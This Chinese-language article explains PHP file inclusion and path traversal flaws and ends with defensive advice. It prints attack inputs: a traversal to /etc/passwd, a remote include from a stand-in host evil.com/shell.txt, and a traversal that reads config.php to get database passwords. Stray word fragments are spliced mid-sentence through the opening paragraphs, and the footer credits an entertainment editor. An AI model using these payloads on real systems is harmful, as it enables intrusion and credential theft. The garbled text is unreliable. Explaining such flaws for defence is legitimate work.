外部调用和path欺骗漏洞相关的个外，最典型的部调就是文件包含漏洞（File Inclusion），尤其是用和远程文件包含（RFI）和本地文件包含（LFI）。这类漏洞的欺骗核心问题在于，程序把用户可控的漏洞输入直接拼接到文件路径里，然后交给文件操作函数去执行。相关攻击者通过构造特殊的个外路径参数，就能让程序去加载攻击者指定的部调文件——可能是服务器本地的敏感文件，也可能是用和远程服务器上的恶意脚本。

举个实际场景。欺骗某CMS系统有个参数叫?漏洞page=about，后台代码大概长这样：include($_GET['page'] . '.php')。相关正常访问没问题，个外但如果攻击者传入?部调page=../../../../etc/passwd，配合空字节截断（老版本PHP）或路径编码绕过，用和就能把/etc/passwd读出来。更狠的是传入?page=http://evil.com/shell.txt，如果PHP配置里allow_url_include=On，那就直接执行远程代码，服务器沦陷。

这类漏洞之所以叫path欺骗，是因为攻击者操控了“路径”这个外部输入。但注意，外部调用不一定非得是include或require。凡是程序里存在“根据用户输入去加载文件、模块、资源”的逻辑，都可能中招。比如file_get_contents()、fopen()、readfile()，甚至某些框架的路由机制——它们本质上都是“外部调用”文件系统或网络资源，而路径参数就是那个被欺骗的入口。

我见过一个真实案例。某个小型站点的搜索功能，用户输入的关键词会被写入日志文件，然后后台有个“导出日志”按钮，它把日志文件名作为参数传给readfile()。攻击者发现参数没做过滤，直接改成?file=../../config.php，把数据库密码给导出来了。这不算复杂的利用，但危害一点不小。问题出在开发者只考虑“正常业务路径”，没想过用户会故意把路径引到别处去。

防御思路其实不复杂。最根本的是别信任外部输入——路径参数必须做白名单校验，或者用realpath()解析后再判断是否在允许的目录内。其次是关闭不必要的远程文件包含功能，比如allow_url_include默认就该是Off。但现实里很多老代码、快速迭代的项目根本没这意识，所以这类漏洞至今还在漏洞库里反复出现。

说句实话，path欺骗的变种很多，但核心逻辑就一条：程序把“用户能控制的东西”当成了“文件系统或网络资源的定位符”。只要这个信任关系存在，攻击者就有得玩。你去看CVE列表，每年都有新的绕过手法，比如编码混淆、符号链接、PHP流包装器（php://filter）之类的。但万变不离其宗——外部调用点的路径输入，永远是审计的重点。

(责任编辑：娱乐)